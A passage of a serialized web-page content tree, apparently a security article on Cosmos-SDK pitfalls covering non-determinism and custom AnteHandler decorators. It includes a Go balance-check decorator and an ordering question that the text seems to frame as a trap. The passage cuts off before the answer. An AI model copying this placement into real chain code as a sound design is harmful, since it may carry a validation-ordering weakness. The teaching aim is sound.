",{"type":25,"tag":216,"props":82329,"children":82330},{"style":6941},[82331],{"type":31,"value":82332},"version",{"type":25,"tag":216,"props":82334,"children":82335},{"style":6958},[82336],{"type":31,"value":7459},{"type":25,"tag":216,"props":82338,"children":82339},{"class":6916,"line":7607},[82340,82345,82349,82353],{"type":25,"tag":216,"props":82341,"children":82342},{"style":6941},[82343],{"type":31,"value":82344},"        StoreInfos",{"type":25,"tag":216,"props":82346,"children":82347},{"style":6958},[82348],{"type":31,"value":19282},{"type":25,"tag":216,"props":82350,"children":82351},{"style":6941},[82352],{"type":31,"value":82194},{"type":25,"tag":216,"props":82354,"children":82355},{"style":6958},[82356],{"type":31,"value":7459},{"type":25,"tag":216,"props":82358,"children":82359},{"class":6916,"line":7630},[82360],{"type":25,"tag":216,"props":82361,"children":82362},{"style":6958},[82363],{"type":31,"value":7305},{"type":25,"tag":216,"props":82365,"children":82366},{"class":6916,"line":7639},[82367],{"type":25,"tag":216,"props":82368,"children":82369},{"style":6958},[82370],{"type":31,"value":7868},{"type":25,"tag":38,"props":82372,"children":82373},{},[82374,82376,82383,82384,82391],{"type":31,"value":82375},"Other factors contributing to determinism issues are the usage of ",{"type":25,"tag":162,"props":82377,"children":82380},{"href":82378,"rel":82379},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[166],[82381],{"type":31,"value":82382},"time-sensitive functions",{"type":31,"value":1301},{"type":25,"tag":162,"props":82385,"children":82388},{"href":82386,"rel":82387},"https://github.com/cosmos/cosmos-sdk/issues/16638",[166],[82389],{"type":31,"value":82390},"race conditions",{"type":31,"value":179},{"type":25,"tag":26,"props":82393,"children":82395},{"id":82394},"thou-shalt-not-passor-should-you",[82396],{"type":31,"value":82397},"Thou Shalt Not Pass...Or Should You?",{"type":25,"tag":38,"props":82399,"children":82400},{},[82401,82403,82409,82410,82416],{"type":31,"value":82402},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":25,"tag":82,"props":82404,"children":82406},{"className":82405},[],[82407],{"type":31,"value":82408},"msg.value",{"type":31,"value":7020},{"type":25,"tag":82,"props":82411,"children":82413},{"className":82412},[],[82414],{"type":31,"value":82415},"msg.sender",{"type":31,"value":82417},", and collecting transaction fees) to the underlying blockchain.",{"type":25,"tag":38,"props":82419,"children":82420},{},[82421,82423,82429,82431,82437],{"type":31,"value":82422},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":25,"tag":82,"props":82424,"children":82426},{"className":82425},[],[82427],{"type":31,"value":82428},"Cosmos-SDK",{"type":31,"value":82430}," introduces ",{"type":25,"tag":82,"props":82432,"children":82434},{"className":82433},[],[82435],{"type":31,"value":82436},"AnteHandler",{"type":31,"value":82438}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":25,"tag":38,"props":82440,"children":82441},{},[82442,82444,82449,82451,82456],{"type":31,"value":82443},"To provide context, let's first understand how an ",{"type":25,"tag":82,"props":82445,"children":82447},{"className":82446},[],[82448],{"type":31,"value":82436},{"type":31,"value":82450}," is processed. Each ",{"type":25,"tag":82,"props":82452,"children":82454},{"className":82453},[],[82455],{"type":31,"value":82436},{"type":31,"value":82457}," is a state transition function that can:",{"type":25,"tag":6705,"props":82459,"children":82460},{},[82461,82466],{"type":25,"tag":2037,"props":82462,"children":82463},{},[82464],{"type":31,"value":82465},"Transform the block state in relation to transaction and execution context.",{"type":25,"tag":2037,"props":82467,"children":82468},{},[82469,82471],{"type":31,"value":82470},"Determine the course of action for the transaction.\n",{"type":25,"tag":6705,"props":82472,"children":82473},{},[82474,82485],{"type":25,"tag":2037,"props":82475,"children":82476},{},[82477,82479,82484],{"type":31,"value":82478},"Pass the transaction to the next ",{"type":25,"tag":82,"props":82480,"children":82482},{"className":82481},[],[82483],{"type":31,"value":82436},{"type":31,"value":179},{"type":25,"tag":2037,"props":82486,"children":82487},{},[82488],{"type":31,"value":82489},"Return error for transaction.",{"type":25,"tag":38,"props":82491,"children":82492},{},[82493,82495,82500],{"type":31,"value":82494},"The bad news is that developing an ",{"type":25,"tag":82,"props":82496,"children":82498},{"className":82497},[],[82499],{"type":31,"value":82436},{"type":31,"value":82501}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":25,"tag":38,"props":82503,"children":82504},{},[82505,82506,82512],{"type":31,"value":474},{"type":25,"tag":82,"props":82507,"children":82509},{"className":82508},[],[82510],{"type":31,"value":82511},"AnteHandle",{"type":31,"value":82513}," implementation may look something like this:",{"type":25,"tag":206,"props":82515,"children":82517},{"code":82516,"language":80130,"meta":7,"className":80131,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[82518],{"type":25,"tag":82,"props":82519,"children":82520},{"__ignoreMap":7},[82521,82533,82549,82556,82563,82596,82620,82645,82661,82685,82717,82765,82784,82817,82838,82850,82857,82864,82871,82901,82937,83001,83035,83067,83079,83091,83098,83105,83112,83119,83161],{"type":25,"tag":216,"props":82522,"children":82523},{"class":6916,"line":6917},[82524,82528],{"type":25,"tag":216,"props":82525,"children":82526},{"style":6930},[82527],{"type":31,"value":13605},{"type":25,"tag":216,"props":82529,"children":82530},{"style":6958},[82531],{"type":31,"value":82532}," (\n",{"type":25,"tag":216,"props":82534,"children":82535},{"class":6916,"line":6763},[82536,82541,82545],{"type":25,"tag":216,"props":82537,"children":82538},{"style":6941},[82539],{"type":31,"value":82540},"    MIN_BALANCE",{"type":25,"tag":216,"props":82542,"children":82543},{"style":6947},[82544],{"type":31,"value":6950},{"type":25,"tag":216,"props":82546,"children":82547},{"style":6983},[82548],{"type":31,"value":23296},{"type":25,"tag":216,"props":82550,"children":82551},{"class":6916,"line":6772},[82552],{"type":25,"tag":216,"props":82553,"children":82554},{"style":6958},[82555],{"type":31,"value":7101},{"type":25,"tag":216,"props":82557,"children":82558},{"class":6916,"line":6999},[82559],{"type":25,"tag":216,"props":82560,"children":82561},{"emptyLinePlaceholder":16},[82562],{"type":31,"value":7636},{"type":25,"tag":216,"props":82564,"children":82565},{"class":6916,"line":7104},[82566,82570,82574,82579,82584,82588,82592],{"type":25,"tag":216,"props":82567,"children":82568},{"style":6930},[82569],{"type":31,"value":80266},{"type":25,"tag":216,"props":82571,"children":82572},{"style":6958},[82573],{"type":31,"value":7010},{"type":25,"tag":216,"props":82575,"children":82576},{"style":6941},[82577],{"type":31,"value":82578},"abd ",{"type":25,"tag":216,"props":82580,"children":82581},{"style":7369},[82582],{"type":31,"value":82583},"AccountBalanceDecorator",{"type":25,"tag":216,"props":82585,"children":82586},{"style":6958},[82587],{"type":31,"value":7030},{"type":25,"tag":216,"props":82589,"children":82590},{"style":7041},[82591],{"type":31,"value":82511},{"type":25,"tag":216,"props":82593,"children":82594},{"style":6958},[82595],{"type":31,"value":7414},{"type":25,"tag":216,"props":82597,"children":82598},{"class":6916,"line":7210},[82599,82603,82608,82612,82616],{"type":25,"tag":216,"props":82600,"children":82601},{"style":6941},[82602],{"type":31,"value":24177},{"type":25,"tag":216,"props":82604,"children":82605},{"style":7369},[82606],{"type":31,"value":82607}," sdk",{"type":25,"tag":216,"props":82609,"children":82610},{"style":6958},[82611],{"type":31,"value":179},{"type":25,"tag":216,"props":82613,"children":82614},{"style":7369},[82615],{"type":31,"value":80315},{"type":25,"tag":216,"props":82617,"children":82618},{"style":6958},[82619],{"type":31,"value":7459},{"type":25,"tag":216,"props":82621,"children":82622},{"class":6916,"line":7238},[82623,82628,82632,82636,82641],{"type":25,"tag":216,"props":82624,"children":82625},{"style":6941},[82626],{"type":31,"value":82627},"    tx",{"type":25,"tag":216,"props":82629,"children":82630},{"style":7369},[82631],{"type":31,"value":82607},{"type":25,"tag":216,"props":82633,"children":82634},{"style":6958},[82635],{"type":31,"value":179},{"type":25,"tag":216,"props":82637,"children":82638},{"style":7369},[82639],{"type":31,"value":82640},"Tx",{"type":25,"tag":216,"props":82642,"children":82643},{"style":6958},[82644],{"type":31,"value":7459},{"type":25,"tag":216,"props":82646,"children":82647},{"class":6916,"line":7251},[82648,82653,82657],{"type":25,"tag":216,"props":82649,"children":82650},{"style":6941},[82651],{"type":31,"value":82652},"    simulate",{"type":25,"tag":216,"props":82654,"children":82655},{"style":7369},[82656],{"type":31,"value":16000},{"type":25,"tag":216,"props":82658,"children":82659},{"style":6958},[82660],{"type":31,"value":7459},{"type":25,"tag":216,"props":82662,"children":82663},{"class":6916,"line":7269},[82664,82669,82673,82677,82681],{"type":25,"tag":216,"props":82665,"children":82666},{"style":6941},[82667],{"type":31,"value":82668},"    next",{"type":25,"tag":216,"props":82670,"children":82671},{"style":7369},[82672],{"type":31,"value":82607},{"type":25,"tag":216,"props":82674,"children":82675},{"style":6958},[82676],{"type":31,"value":179},{"type":25,"tag":216,"props":82678,"children":82679},{"style":7369},[82680],{"type":31,"value":82436},{"type":25,"tag":216,"props":82682,"children":82683},{"style":6958},[82684],{"type":31,"value":7459},{"type":25,"tag":216,"props":82686,"children":82687},{"class":6916,"line":7290},[82688,82692,82697,82701,82705,82709,82713],{"type":25,"tag":216,"props":82689,"children":82690},{"style":6958},[82691],{"type":31,"value":80348},{"type":25,"tag":216,"props":82693,"children":82694},{"style":7369},[82695],{"type":31,"value":82696},"sdk",{"type":25,"tag":216,"props":82698,"children":82699},{"style":6958},[82700],{"type":31,"value":179},{"type":25,"tag":216,"props":82702,"children":82703},{"style":7369},[82704],{"type":31,"value":80315},{"type":25,"tag":216,"props":82706,"children":82707},{"style":6958},[82708],{"type":31,"value":7020},{"type":25,"tag":216,"props":82710,"children":82711},{"style":7369},[82712],{"type":31,"value":18815},{"type":25,"tag":216,"props":82714,"children":82715},{"style":6958},[82716],{"type":31,"value":18755},{"type":25,"tag":216,"props":82718,"children":82719},{"class":6916,"line":7299},[82720,82725,82729,82734,82738,82742,82747,82752,82756,82761],{"type":25,"tag":216,"props":82721,"children":82722},{"style":6941},[82723],{"type":31,"value":82724},"    sigTx",{"type":25,"tag":216,"props":82726,"children":82727},{"style":6958},[82728],{"type":31,"value":7020},{"type":25,"tag":216,"props":82730,"children":82731},{"style":6941},[82732],{"type":31,"value":82733},"ok",{"type":25,"tag":216,"props":82735,"children":82736},{"style":6947},[82737],{"type":31,"value":80382},{"type":25,"tag":216,"props":82739,"children":82740},{"style":6941},[82741],{"type":31,"value":71991},{"type":25,"tag":216,"props":82743,"children":82744},{"style":6958},[82745],{"type":31,"value":82746},".(",{"type":25,"tag":216,"props":82748,"children":82749},{"style":7369},[82750],{"type":31,"value":82751},"authsigning",{"type":25,"tag":216,"props":82753,"children":82754},{"style":6958},[82755],{"type":31,"value":179},{"type":25,"tag":216,"props":82757,"children":82758},{"style":7369},[82759],{"type":31,"value":82760},"SigVerifiableTx",{"type":25,"tag":216,"props":82762,"children":82763},{"style":6958},[82764],{"type":31,"value":7101},{"type":25,"tag":216,"props":82766,"children":82767},{"class":6916,"line":7551},[82768,82772,82776,82780],{"type":25,"tag":216,"props":82769,"children":82770},{"style":6967},[82771],{"type":31,"value":16229},{"type":25,"tag":216,"props":82773,"children":82774},{"style":6947},[82775],{"type":31,"value":16814},{"type":25,"tag":216,"props":82777,"children":82778},{"style":6941},[82779],{"type":31,"value":82733},{"type":25,"tag":216,"props":82781,"children":82782},{"style":6958},[82783],{"type":31,"value":7235},{"type":25,"tag":216,"props":82785,"children":82786},{"class":6916,"line":7568},[82787,82791,82795,82799,82804,82808,82813],{"type":25,"tag":216,"props":82788,"children":82789},{"style":6967},[82790],{"type":31,"value":19696},{"type":25,"tag":216,"props":82792,"children":82793},{"style":6941},[82794],{"type":31,"value":29795},{"type":25,"tag":216,"props":82796,"children":82797},{"style":6958},[82798],{"type":31,"value":7020},{"type":25,"tag":216,"props":82800,"children":82801},{"style":6941},[82802],{"type":31,"value":82803},"errorsmod",{"type":25,"tag":216,"props":82805,"children":82806},{"style":6958},[82807],{"type":31,"value":179},{"type":25,"tag":216,"props":82809,"children":82810},{"style":7041},[82811],{"type":31,"value":82812},"Wrap",{"type":25,"tag":216,"props":82814,"children":82815},{"style":6958},[82816],{"type":31,"value":7414},{"type":25,"tag":216,"props":82818,"children":82819},{"class":6916,"line":7585},[82820,82825,82829,82834],{"type":25,"tag":216,"props":82821,"children":82822},{"style":6941},[82823],{"type":31,"value":82824},"            sdkerrors",{"type":25,"tag":216,"props":82826,"children":82827},{"style":6958},[82828],{"type":31,"value":179},{"type":25,"tag":216,"props":82830,"children":82831},{"style":6941},[82832],{"type":31,"value":82833},"ErrTxDecode",{"type":25,"tag":216,"props":82835,"children":82836},{"style":6958},[82837],{"type":31,"value":7459},{"type":25,"tag":216,"props":82839,"children":82840},{"class":6916,"line":7598},[82841,82846],{"type":25,"tag":216,"props":82842,"children":82843},{"style":8199},[82844],{"type":31,"value":82845},"            \"invalid tx type\"",{"type":25,"tag":216,"props":82847,"children":82848},{"style":6958},[82849],{"type":31,"value":7459},{"type":25,"tag":216,"props":82851,"children":82852},{"class":6916,"line":7607},[82853],{"type":25,"tag":216,"props":82854,"children":82855},{"style":6958},[82856],{"type":31,"value":72284},{"type":25,"tag":216,"props":82858,"children":82859},{"class":6916,"line":7630},[82860],{"type":25,"tag":216,"props":82861,"children":82862},{"style":6958},[82863],{"type":31,"value":7305},{"type":25,"tag":216,"props":82865,"children":82866},{"class":6916,"line":7639},[82867],{"type":25,"tag":216,"props":82868,"children":82869},{"emptyLinePlaceholder":16},[82870],{"type":31,"value":7636},{"type":25,"tag":216,"props":82872,"children":82873},{"class":6916,"line":7648},[82874,82879,82883,82888,82892,82897],{"type":25,"tag":216,"props":82875,"children":82876},{"style":6941},[82877],{"type":31,"value":82878},"    signers",{"type":25,"tag":216,"props":82880,"children":82881},{"style":6947},[82882],{"type":31,"value":80382},{"type":25,"tag":216,"props":82884,"children":82885},{"style":6941},[82886],{"type":31,"value":82887}," sigTx",{"type":25,"tag":216,"props":82889,"children":82890},{"style":6958},[82891],{"type":31,"value":179},{"type":25,"tag":216,"props":82893,"children":82894},{"style":7041},[82895],{"type":31,"value":82896},"GetSigners",{"type":25,"tag":216,"props":82898,"children":82899},{"style":6958},[82900],{"type":31,"value":11681},{"type":25,"tag":216,"props":82902,"children":82903},{"class":6916,"line":7716},[82904,82908,82912,82916,82920,82924,82928,82933],{"type":25,"tag":216,"props":82905,"children":82906},{"style":6967},[82907],{"type":31,"value":6970},{"type":25,"tag":216,"props":82909,"children":82910},{"style":6941},[82911],{"type":31,"value":7348},{"type":25,"tag":216,"props":82913,"children":82914},{"style":6958},[82915],{"type":31,"value":7020},{"type":25,"tag":216,"props":82917,"children":82918},{"style":6941},[82919],{"type":31,"value":11092},{"type":25,"tag":216,"props":82921,"children":82922},{"style":6947},[82923],{"type":31,"value":80382},{"type":25,"tag":216,"props":82925,"children":82926},{"style":6967},[82927],{"type":31,"value":81365},{"type":25,"tag":216,"props":82929,"children":82930},{"style":6941},[82931],{"type":31,"value":82932}," signers",{"type":25,"tag":216,"props":82934,"children":82935},{"style":6958},[82936],{"type":31,"value":7235},{"type":25,"tag":216,"props":82938,"children":82939},{"class":6916,"line":7724},[82940,82945,82949,82954,82958,82963,82967,82972,82976,82980,82984,82988,82992,82997],{"type":25,"tag":216,"props":82941,"children":82942},{"style":6941},[82943],{"type":31,"value":82944},"        balance",{"type":25,"tag":216,"props":82946,"children":82947},{"style":6947},[82948],{"type":31,"value":80382},{"type":25,"tag":216,"props":82950,"children":82951},{"style":6941},[82952],{"type":31,"value":82953}," abd",{"type":25,"tag":216,"props":82955,"children":82956},{"style":6958},[82957],{"type":31,"value":179},{"type":25,"tag":216,"props":82959,"children":82960},{"style":6941},[82961],{"type":31,"value":82962},"bk",{"type":25,"tag":216,"props":82964,"children":82965},{"style":6958},[82966],{"type":31,"value":179},{"type":25,"tag":216,"props":82968,"children":82969},{"style":7041},[82970],{"type":31,"value":82971},"getBalance",{"type":25,"tag":216,"props":82973,"children":82974},{"style":6958},[82975],{"type":31,"value":1844},{"type":25,"tag":216,"props":82977,"children":82978},{"style":6941},[82979],{"type":31,"value":24234},{"type":25,"tag":216,"props":82981,"children":82982},{"style":6958},[82983],{"type":31,"value":7020},{"type":25,"tag":216,"props":82985,"children":82986},{"style":6941},[82987],{"type":31,"value":11092},{"type":25,"tag":216,"props":82989,"children":82990},{"style":6958},[82991],{"type":31,"value":7020},{"type":25,"tag":216,"props":82993,"children":82994},{"style":6941},[82995],{"type":31,"value":82996},"ATOM",{"type":25,"tag":216,"props":82998,"children":82999},{"style":6958},[83000],{"type":31,"value":7101},{"type":25,"tag":216,"props":83002,"children":83003},{"class":6916,"line":7754},[83004,83008,83013,83017,83022,83026,83031],{"type":25,"tag":216,"props":83005,"children":83006},{"style":6967},[83007],{"type":31,"value":7216},{"type":25,"tag":216,"props":83009,"children":83010},{"style":6941},[83011],{"type":31,"value":83012}," balance",{"type":25,"tag":216,"props":83014,"children":83015},{"style":6958},[83016],{"type":31,"value":179},{"type":25,"tag":216,"props":83018,"children":83019},{"style":6941},[83020],{"type":31,"value":83021},"Amount",{"type":25,"tag":216,"props":83023,"children":83024},{"style":6947},[83025],{"type":31,"value":12666},{"type":25,"tag":216,"props":83027,"children":83028},{"style":6941},[83029],{"type":31,"value":83030}," MIN_BALANCE",{"type":25,"tag":216,"props":83032,"children":83033},{"style":6958},[83034],{"type":31,"value":7235},{"type":25,"tag":216,"props":83036,"children":83037},{"class":6916,"line":7762},[83038,83043,83047,83051,83055,83059,83063],{"type":25,"tag":216,"props":83039,"children":83040},{"style":6967},[83041],{"type":31,"value":83042},"            return",{"type":25,"tag":216,"props":83044,"children":83045},{"style":6941},[83046],{"type":31,"value":29795},{"type":25,"tag":216,"props":83048,"children":83049},{"style":6958},[83050],{"type":31,"value":7020},{"type":25,"tag":216,"props":83052,"children":83053},{"style":6941},[83054],{"type":31,"value":82803},{"type":25,"tag":216,"props":83056,"children":83057},{"style":6958},[83058],{"type":31,"value":179},{"type":25,"tag":216,"props":83060,"children":83061},{"style":7041},[83062],{"type":31,"value":82812},{"type":25,"tag":216,"props":83064,"children":83065},{"style":6958},[83066],{"type":31,"value":7414},{"type":25,"tag":216,"props":83068,"children":83069},{"class":6916,"line":7794},[83070,83075],{"type":25,"tag":216,"props":83071,"children":83072},{"style":6941},[83073],{"type":31,"value":83074},"                ErrInsufficientBalance",{"type":25,"tag":216,"props":83076,"children":83077},{"style":6958},[83078],{"type":31,"value":7459},{"type":25,"tag":216,"props":83080,"children":83081},{"class":6916,"line":7802},[83082,83087],{"type":25,"tag":216,"props":83083,"children":83084},{"style":8199},[83085],{"type":31,"value":83086},"                \"Insufficient Balance\"",{"type":25,"tag":216,"props":83088,"children":83089},{"style":6958},[83090],{"type":31,"value":7459},{"type":25,"tag":216,"props":83092,"children":83093},{"class":6916,"line":7862},[83094],{"type":25,"tag":216,"props":83095,"children":83096},{"style":6958},[83097],{"type":31,"value":81481},{"type":25,"tag":216,"props":83099,"children":83100},{"class":6916,"line":12995},[83101],{"type":25,"tag":216,"props":83102,"children":83103},{"style":6958},[83104],{"type":31,"value":7296},{"type":25,"tag":216,"props":83106,"children":83107},{"class":6916,"line":13013},[83108],{"type":25,"tag":216,"props":83109,"children":83110},{"style":6958},[83111],{"type":31,"value":7305},{"type":25,"tag":216,"props":83113,"children":83114},{"class":6916,"line":13058},[83115],{"type":25,"tag":216,"props":83116,"children":83117},{"emptyLinePlaceholder":16},[83118],{"type":31,"value":7636},{"type":25,"tag":216,"props":83120,"children":83121},{"class":6916,"line":13164},[83122,83126,83131,83135,83139,83143,83148,83152,83157],{"type":25,"tag":216,"props":83123,"children":83124},{"style":6967},[83125],{"type":31,"value":20941},{"type":25,"tag":216,"props":83127,"children":83128},{"style":7041},[83129],{"type":31,"value":83130}," next",{"type":25,"tag":216,"props":83132,"children":83133},{"style":6958},[83134],{"type":31,"value":1844},{"type":25,"tag":216,"props":83136,"children":83137},{"style":6941},[83138],{"type":31,"value":24234},{"type":25,"tag":216,"props":83140,"children":83141},{"style":6958},[83142],{"type":31,"value":7020},{"type":25,"tag":216,"props":83144,"children":83145},{"style":6941},[83146],{"type":31,"value":83147},"tx",{"type":25,"tag":216,"props":83149,"children":83150},{"style":6958},[83151],{"type":31,"value":7020},{"type":25,"tag":216,"props":83153,"children":83154},{"style":6941},[83155],{"type":31,"value":83156},"simulate",{"type":25,"tag":216,"props":83158,"children":83159},{"style":6958},[83160],{"type":31,"value":7101},{"type":25,"tag":216,"props":83162,"children":83163},{"class":6916,"line":27449},[83164],{"type":25,"tag":216,"props":83165,"children":83166},{"style":6958},[83167],{"type":31,"value":7868},{"type":25,"tag":38,"props":83169,"children":83170},{},[83171,83173,83178,83180,83186,83188,83194],{"type":31,"value":83172},"Where should this custom ",{"type":25,"tag":82,"props":83174,"children":83176},{"className":83175},[],[83177],{"type":31,"value":82436},{"type":31,"value":83179}," be placed relative to other ",{"type":25,"tag":82,"props":83181,"children":83183},{"className":83182},[],[83184],{"type":31,"value":83185},"AnteHandlers",{"type":31,"value":83187}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":25,"tag":82,"props":83189,"children":83191},{"className":83190},[],[83192],{"type":31,"value":83193},"SetUpContextDecorator",{"type":31,"value":83195}," should work, right?",{"type":25,"tag":38,"props":83197,"children":83198},{},[83199],{"type":25,"tag":162,"props":83200,"children":83203},{"href":83201,"rel":83202},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[166],[83204],{"type":31,"value":80705},{"type":25,"tag":206,"props":83206,"children":83208},{"code":83207,"language":80130,"meta":7,"className":80131,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[83209],{"type":25,"tag":82,"props":83210,"children":83211},{"__ignoreMap":7},[83212,83245,83262,83270,83299,83311,83323,83352,83380,83459,83492,83520,83565,83610,83638],{"type":25,"tag":216,"props":83213,"children":83214},{"class":6916,"line":6917},[83215,83220,83224,83228,83232,83236,83241],{"type":25,"tag":216,"props":83216,"children":83217},{"style":6941},[83218],{"type":31,"value":83219},"anteDecorators",{"type":25,"tag":216,"props":83221,"children":83222},{"style":6947},[83223],{"type":31,"value":80382},{"type":25,"tag":216,"props":83225,"children":83226},{"style":6958},[83227],{"type":31,"value":80193},{"type":25,"tag":216,"props":83229,"children":83230},{"style":7369},[83231],{"type":31,"value":82696},{"type":25,"tag":216,"props":83233,"children":83234},{"style":6958},[83235],{"type":31,"value":179},{"type":25,"tag":216,"props":83237,"children":83238},{"style":7369},[83239],{"type":31,"value":83240},"AnteDecorator",{"type":25,"tag":216,"props":83242,"children":83243},{"style":6958},[83244],{"type":31,"value":14830},{"type":25,"tag":216,"props":83246,"children":83247},{"class":6916,"line":6763},[83248,83253,83257],{"type":25,"tag":216,"props":83249,"children":83250},{"style":7041},[83251],{"type":31,"value":83252},"    NewSetUpContextDecorator",{"type":25,"tag":216,"props":83254,"children":83255},{"style":6958},[83256],{"type":31,"value":22328},{"type":25,"tag":216,"props":83258,"children":83259},{"style":6921},[83260],{"type":31,"value":83261},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":25,"tag":216,"props":83263,"children":83264},{"class":6916,"line":6772},[83265],{"type":25,"tag":216,"props":83266,"children":83267},{"style":6921},[83268],{"type":31,"value":83269},"    // INSERT HERE\n",{"type":25,"tag":216,"props":83271,"children":83272},{"class":6916,"line":6999},[83273,83278,83282,83286,83290,83295],{"type":25,"tag":216,"props":83274,"children":83275},{"style":7041},[83276],{"type":31,"value":83277},"    NewExtensionOptionsDecorator",{"type":25,"tag":216,"props":83279,"children":83280},{"style":6958},[83281],{"type":31,"value":1844},{"type":25,"tag":216,"props":83283,"children":83284},{"style":6941},[83285],{"type":31,"value":39995},{"type":25,"tag":216,"props":83287,"children":83288},{"style":6958},[83289],{"type":31,"value":179},{"type":25,"tag":216,"props":83291,"children":83292},{"style":6941},[83293],{"type":31,"value":83294},"ExtensionOptionChecker",{"type":25,"tag":216,"props":83296,"children":83297},{"style":6958},[83298],{"type":31,"value":10682},{"type":25,"tag":216,"props":83300,"children":83301},{"class":6916,"line":7104},[83302,83307],{"type":25,"tag":216,"props":83303,"children":83304},{"style":7041},[83305],{"type":31,"value":83306},"    NewValidateBasicDecorator",{"type":25,"tag":216,"props":83308,"children":83309},{"style":6958},[83310],{"type":31,"value":7442},{"type":25,"tag":216,"props":83312,"children":83313},{"class":6916,"line":7210},[83314,83319],{"type":25,"tag":216,"props":83315,"children":83316},{"style":7041},[83317],{"type":31,"value":83318},"    NewTxTimeoutHeightDecorator",{"type":25,"tag":216,"props":83320,"children":83321},{"style":6958},[83322],{"type":31,"value":7442},{"type":25,"tag":216,"props":83324,"children":83325},{"class":6916,"line":7238},[83326,83331,83335,83339,83343,83348],{"type":25,"tag":216,"props":83327,"children":83328},{"style":7041},[83329],{"type":31,"value":83330},"    NewValidateMemoDecorator",{"type":25,"tag":216,"props":83332,"children":83333},{"style":6958},[83334],{"type":31,"value":1844},{"type":25,"tag":216,"props":83336,"children":83337},{"style":6941},[83338],{"type":31,"value":39995},{"type":25,"tag":216,"props":83340,"children":83341},{"style":6958},[83342],{"type":31,"value":179},{"type":25,"tag":216,"props":83344,"children":83345},{"style":6941},[83346],{"type":31,"value":83347},"AccountKeeper",{"type":25,"tag":216,"props":83349,"children":83350},{"style":6958},[83351],{"type":31,"value":10682},{"type":25,"tag":216,"props":83353,"children":83354},{"class":6916,"line":7251},[83355,83360,83364,83368,83372,83376],{"type":25,"tag":216,"props":83356,"children":83357},{"style":7041},[83358],{"type":31,"value":83359},"    NewConsumeGasForTxSizeDecorator",{"type":25,"tag":216,"props":83361,"children":83362},{"style":6958},[83363],{"type":31,"value":1844},{"type":25,"tag":216,"props":83365,"children":83366},{"style":6941},[83367],{"type":31,"value":39995},{"type":25,"tag":216,"props":83369,"children":83370},{"style":6958},[83371],{"type":31,"value":179},{"type":25,"tag":216,"props":83373,"children":83374},{"style":6941},[83375],{"type":31,"value":83347},{"type":25,"tag":216,"props":83377,"children":83378},{"style":6958},[83379],{"type":31,"value":10682},{"type":25,"tag":216,"props":83381,"children":83382},{"class":6916,"line":7269},[83383,83388,83392,83396,83400,83404,83408,83412,83416,83421,83425,83429,83433,83438,83442,83446,83450,83455],{"type":25,"tag":216,"props":83384,"children":83385},{"style":7041},[83386],{"type":31,"value":83387},"    NewDeductFeeDecorator",{"type":25,"tag":216,"props":83389,"children":83390},{"style":6958},[83391],{"type":31,"value":1844},{"type":25,"tag":216,"props":83393,"children":83394},{"style":6941},[83395],{"type":31,"value":39995},{"type":25,"tag":216,"props":83397,"children":83398},{"style":6958},[83399],{"type":31,"value":179},{"type":25,"tag":216,"props":83401,"children":83402},{"style":6941},[83403],{"type":31,"value":83347},{"type":25,"tag":216,"props":83405,"children":83406},{"style":6958},[83407],{"type":31,"value":7020},{"type":25,"tag":216,"props":83409,"children":83410},{"style":6941},[83411],{"type":31,"value":39995},{"type":25,"tag":216,"props":83413,"children":83414},{"style":6958},[83415],{"type":31,"value":179},{"type":25,"tag":216,"props":83417,"children":83418},{"style":6941},[83419],{"type":31,"value":83420},"BankKeeper",{"type":25,"tag":216,"props":83422,"children":83423},{"style":6958},[83424],{"type":31,"value":7020},{"type":25,"tag":216,"props":83426,"children":83427},{"style":6941},[83428],{"type":31,"value":39995},{"type":25,"tag":216,"props":83430,"children":83431},{"style":6958},[83432],{"type":31,"value":179},{"type":25,"tag":216,"props":83434,"children":83435},{"style":6941},[83436],{"type":31,"value":83437},"FeegrantKeeper",{"type":25,"tag":216,"props":83439,"children":83440},{"style":6958},[83441],{"type":31,"value":7020},{"type":25,"tag":216,"props":83443,"children":83444},{"style":6941},[83445],{"type":31,"value":39995},{"type":25,"tag":216,"props":83447,"children":83448},{"style":6958},[83449],{"type":31,"value":179},{"type":25,"tag":216,"props":83451,"children":83452},{"style":6941},[83453],{"type":31,"value":83454},"TxFeeChecker",{"type":25,"tag":216,"props":83456,"children":83457},{"style":6958},[83458],{"type"